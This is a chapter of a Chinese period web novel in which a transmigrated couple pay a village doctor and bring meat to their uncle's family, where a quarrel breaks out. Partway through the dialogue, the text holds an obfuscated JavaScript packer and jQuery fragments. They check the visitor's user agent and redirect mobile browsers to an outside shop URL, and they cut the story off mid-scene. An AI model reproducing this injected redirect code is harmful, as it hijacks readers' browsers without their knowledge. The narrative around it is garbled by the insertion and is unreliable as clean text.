16. 第十六章

作品:《年代文里当炮灰夫妻[双穿]

    夜幕降临,介于灰与暗之间,月亮还未升起,没有路灯抑或是别的光亮,倒是显得夜色格外沉。


    沈屹没有去谭家,站在路口等温鸢,见她提着个大簸箕出来,他伸手接过。


    用料很扎实,有点沉。


    倒是有些猜到了它的用途:“用来晒东西?”


    居然这么快被猜到了,没劲。


    温鸢半点不内耗:“对呀!你下次别这么快猜出来,问我一下用来干嘛的,这样有成就感一些,这可是我用来赚钱的宝贝!”


    这大概就是情绪价值。


    沈屹反思自己,“好,那是用来晒什么的?”


    温鸢下巴一翘,背着手,卖关子:“秘密!反正你明天就知道了,快走快走,还得去趟胡大胆那呢!”


    说着,人就走在了前头。


    沈屹眼底有些无奈,旋即跟了上去。


    等两人走到一半,温鸢看见沈屹手里的簸箕,这才反应过来,其实他们可以先去胡大胆那,再去买簸箕。


    提着个大竹盘子到处走,怪怪的。


    嘿嘿。


    反正不是她拿。


    两人到卫生院时,胡济勇正准备熄灯,看见沈屹手里的簸箕还多看了一眼。


    “你小子,昨天让你早上来换药,硬是要等到我老头子睡觉了才来。”


    听见这话,温鸢这才发觉上午误会胡大胆了,原来人家有让沈屹来换药啊。


    合着是他自己一点都不记得了呗。


    啧,真是个不值钱的,这么不惜命。


    不像她,把自己的狗命看得比什么还重,哎~


    温鸢指了指沈屹的脑袋,对胡济勇道:“叔,你再给他看看呗,我一块儿给你结钱。”


    不知是哪句话戳到了胡济勇,他有些奇怪地看了温鸢一眼。


    胡济勇很快又恢复正常:“过来我看看。”


    顺着胡济勇的动作,沈屹在椅子上坐下,胡济勇还没拆开纱布就已经闻到了白茨叶的气味。


    他看向温鸢:“你还认得草药?”


    温鸢“嗐”了一声,摆摆手:“我哪有那本事,住在山里的那总不能还认不出点有用的吧。”


    胡济勇哼了一声:“也是,脑袋看着就不灵光。”


    “……”


    胡大胆不仁,就别怪温鸢不义,她嘿嘿一笑:“叔,您看我这么快就赶着给您结钱的份上,今天换药的钱就给我免了呗!”


    听见这话,胡大胆手上的动作忽然加重,疼得沈屹闷哼一声。


    胡大胆纯属泄愤:“你个小丫头片子没脸没皮,不算今天的,一共两块五,昨天还挂了两瓶水,打了一针,用了粒西药,西药贵。”


    巨款!


    温鸢怀疑胡大胆是故意的,“胡大胆,你也忒小气了,这年头跟我一样麻溜结钱的人可不多,你又不是不知道我家都揭不开锅了,再送我两块纱布。”


    温鸢还真没给自己脸上贴金,赊胡大胆的药钱第二天就给了的,那是纯讲究人。


    村里多的是拖个一年半载不给的,问就是没钱,更有甚者,看完病嫌太贵,骂胡大胆是个黑心玩意儿钻钱眼子里去了。


    要不说学医的自古以来都是高危职业呢,古代容易被砍头,现在容易被医闹。


    不过,胡大胆也不是好惹的,哪家拖到过年还不给他结账,他能大年初一躺人家门槛上去,不结就从他那副老骨头上踏过去。


    胡大胆抽了抽嘴角,有事就叫叔,没事连胡大胆都敢当面叫,当他砍猪肉呢,还给她搭根大肠。


    毛都没长齐的死丫头,怎么就比村里那些老婆子还泼。


    不过,胡大胆虽然气,但自认为吃过的盐比她吃过的米还多,他大人有大量,懒得跟她计较,麻溜送走他还得睡觉呢!


    他从斗柜里拿出两块纱布,“家里还有白茨叶吗?没有就再去采点,再敷个两天,一天一次就成。”


    “有。”


    温鸢生怕他又收回去,赶紧收进了兜里。


    心里还有些可惜,没想到他这么爽快,早知道再讹点了,她还是太年轻,脸皮这么薄,只敢狮子小开口。


    胡大胆看着她的动作,翻了个白眼,抬手赶人:“赶紧给我滚,烦死了,以后别让我再看见你俩。”


    温鸢不痛不痒,慢悠悠地数出两块五放在桌上,笑眯眯道:“嘿嘿,叔借你吉言,我俩这辈子都没病,再也不见。”


    差点把胡大胆给气笑了。


    看着两人一前一后出去的背影,他又翻了个白眼,高的那个跟什么似的,盯那死丫头盯得比眼珠子还紧。


    刚在那换药,那死丫头那臭嘴在那叭叭叭的,那小子还在那笑,难怪能掉沟里去,原来是本来就是蠢的。


    看着桌上零零散散的毛票,胡济勇“啧”了一声。


    沈永贵那个老东西,人家小两口有看病钱还要来给垫出去,整得跟人家亲爹似的,现在好了,他还得给他还回去。


    烦死了!


    也就是他善,不然两份都是他的,哼!


    ~


    告别卫生院,两人又来到今晚的第三个目的地。


    一回生二回熟。


    这次温鸢直接轻车熟路,直捣堂屋,沈屹拿着个簸箕不合适,就将它放进了院子里。


    沈家一家子九口人,这会儿全都整整齐齐地坐在堂屋吃晚饭。


    见他俩来了,九个头,十八只眼睛,全都齐刷刷看过来,连眨眼睛都快忘了。


    要是别人,沈家老两口肯定就上前客套喊人吃饭了,可是,对着这俩,沈永贵跟张桂芳一个假客套的话都说不出。


    温鸢自动忽略落在身上的视线,见沈家的饭桌上有野菜饼,她没吃过这玩意儿,直接上手拿了一块。


    还不忘不能吃独食,还给沈屹掰了一半。


    她咬了一口,评价道:“谁煎的饼,还怪好吃的。”


    早就变成盯婶狂魔的沈妙妙举手发言,“四婶!我做的我做的!四婶你吃了吗?我这有鸡蛋羹!”


    说着,沈妙妙蹭地一下就从凳子上下来,准备拉开给她坐。


    温鸢摆摆手,“太不要脸了,而且我不爱吃剩菜,算了,下次让你爷奶专门请我吃,而且我喜欢吃肉,不喜欢吃野菜。”


    沈家人:“......”野菜也不是请你的。


    沈妙妙失落桑心,原来她四婶喜欢吃肉,可惜她也没有,晚上煮的蛇肉刚端上桌就见了底,她不敢吃,早知道就该留一块的......


    妙妙不语,妙妙桑心。


    张桂芳无语地看着自己孙女被下降头的样子,不再给温鸢那张破嘴继续张嘴的机会:“你俩干啥来了。”


    温鸢:“没啥事儿,就来给你们加个菜,顺道过来拿粮食,我大伯也真是就管自个儿的肚子,不管我俩的肚子,不知道我俩等着米下锅吗?”


    说着,还斜了沈永贵一眼。


    她将手里的罐子放在桌上,“也就是你侄媳妇儿孝顺,吃两块儿肉都想着给你俩送点。”


    这个点,天色已经完全暗了下来,沈家的堂屋是点着煤油灯的,光线不够,有些昏暗,但桌上的人还是看清了玻璃罐里的是什么。


    红烧肉!还有炒肉片!


    我滴个乖乖!


    沈家人齐刷刷地瞪大了眼睛,甚至最小的沈狗蛋口水都下来了,也就是他家家教好,没有大人的允许不会吵着要吃肉。


    沈老两口脸色唰地一下就变了,张桂芳还好只是黑了脸,沈永贵一下就站了起来。


    指着那罐子,“哪来的?是不是你这混小子又去那种地方了?!”


    那种地方,自然就是黑市。


    至于为什么叫又,难不成沈永贵知道沈老三之前在那混过?


    温鸢不解。


    沈屹面色不改:“没去,这是我媳妇儿赚的,爱吃不吃,不吃我拿回去喂狗。”


    沈永贵气急:“你还敢顶嘴了!你个败家玩意儿没米下锅了,还想拿肉去喂狗!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335781|198849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抬手就准备一巴掌下去,温鸢“啧”了一声。


    “干什么呢,大伯你这脾气真是要不得,人家都说了没去没去,去你也要打,没去你也要打,咋的,不打人你手痒啊。”


    温鸢是真心觉得,沈永贵对沈老三更像是爹对儿子,还是那种老一辈的打骂教育下的畸形父子关系,要不是现在在他面前的是沈屹,不是沈老三,不然,她怀疑沈永贵真能被他气死。


    也真就是恨铁不成钢。


    沈永贵巴掌停在半空中,半天没落下。


    温鸢别开眼:“要打你打我,反正谁要是以后敢再打我家老沈,我祖坟都能给他刨了,不信你试试。”


    她脸色有些不好,也是真不想沈屹每次都被沈永贵又打又骂的。


    她不开心。


    “知道你是为他好,不然我们也不会来走动,这肉是我赚钱买的,怎么赚的你俩先别问,反正没投机倒把,更没做什么昧良心的事儿。”


    气氛一时间有些微妙。


    沈屹垂眸,视线落在她的侧脸上,安抚似的握上她的手腕。


    温热干燥的触感透过皮肤传来,温鸢这才发觉自己失态了。


    沈屹轻按着她的腕口,黑眸沉着,低声道:“不想处我们就回去,以后不来了。”


    温鸢皱了下眉,见沈永贵明显被这话伤到的样子,有些心虚。


    她正了正身,决定倒打一耙:“说什么呢你!大伯大伯娘对你那么好,比亲爹亲娘都好,你亲爹亲娘给过你蛋吃吗?你个没良心的还敢说出这种话!”


    说着还上手打了沈屹一下,颇有些恨铁不成钢的意味。


    不想处就不处那是不可能的,沈永贵是大队长,以后靠得上他的地方多着呢,可不能放过这条大腿。


    温鸢给沈屹使了个眼色,沈屹了然。


    只道:“听你的。”


    温鸢:“还有呢?”


    沈屹:“我错了。”


    温鸢:“大伯,他说他知道错了,你别跟他一般见识。”


    沈永贵:“……”是谁说要刨他祖坟?


    沈永贵这么多年也不知道被沈老三气了多少次,倒不至于真跟他们一般见识。


    他狐疑地看着温鸢:“你真挣钱了?”


    温鸢小谦虚了一下,“对呀!现在可是我养家,他敢不听我的?”


    “都说了你好人有好报,那句话怎么说来着,昨天那俩蛋今天就哗啦啦回来了!跟我处指定不能让你亏。”


    沈永贵翻了个白眼:“你咋赚的?今天刚赚就敢去国营饭店下馆子,我看你也是个败家子!”


    沈永贵觉得自己真能被他俩气死。


    温鸢老早就准备好了说辞:“那你别管,反正我有法子,我之前不赚那是因为还在隔壁,我才看不惯那俩老东西的,我赚的他俩一点都别想沾。”


    “……”


    说的是他弟弟跟弟妹,沈永贵底气不足:“那好歹也是你的公公婆婆,怎么说话的?”


    温鸢翻了个白眼:“吃个鸟蛋都得避着我俩,还公婆。”


    “我就到他家俩月,给我吃糠咽菜,算哪门子的公婆,反正别给我提他俩,我心烦。”


    温鸢觉得现在自己老硬气了,得把自己包装成沙子里的金子,曾经他们爱搭不理,现在他们高攀不起。


    她还能给自己的转变找借口,以前就是看不惯他们处处针对他们的样子,故意想被分出来,不想他们捞到她一点好处,所以一直到现在才拿出自己的法子挣钱。


    温鸢琢磨了两天,觉着这事儿还是得先跟沈永贵通口气,不然到时候从别人嘴里听到见到的,容易被人怀疑。


    思来想去还是自投罗网的好,没办法,这年头压根儿就猥琐发育不了一点。


    稍微日子过得好一点,家家户户那就都知道了。


    沈永贵这条大腿还是太好抱了,不愧是个老好人,还跟沈老三是亲戚,跟他们家走动他俩亏不了一点,整个大队的生杀大权可是掌握在人家手里。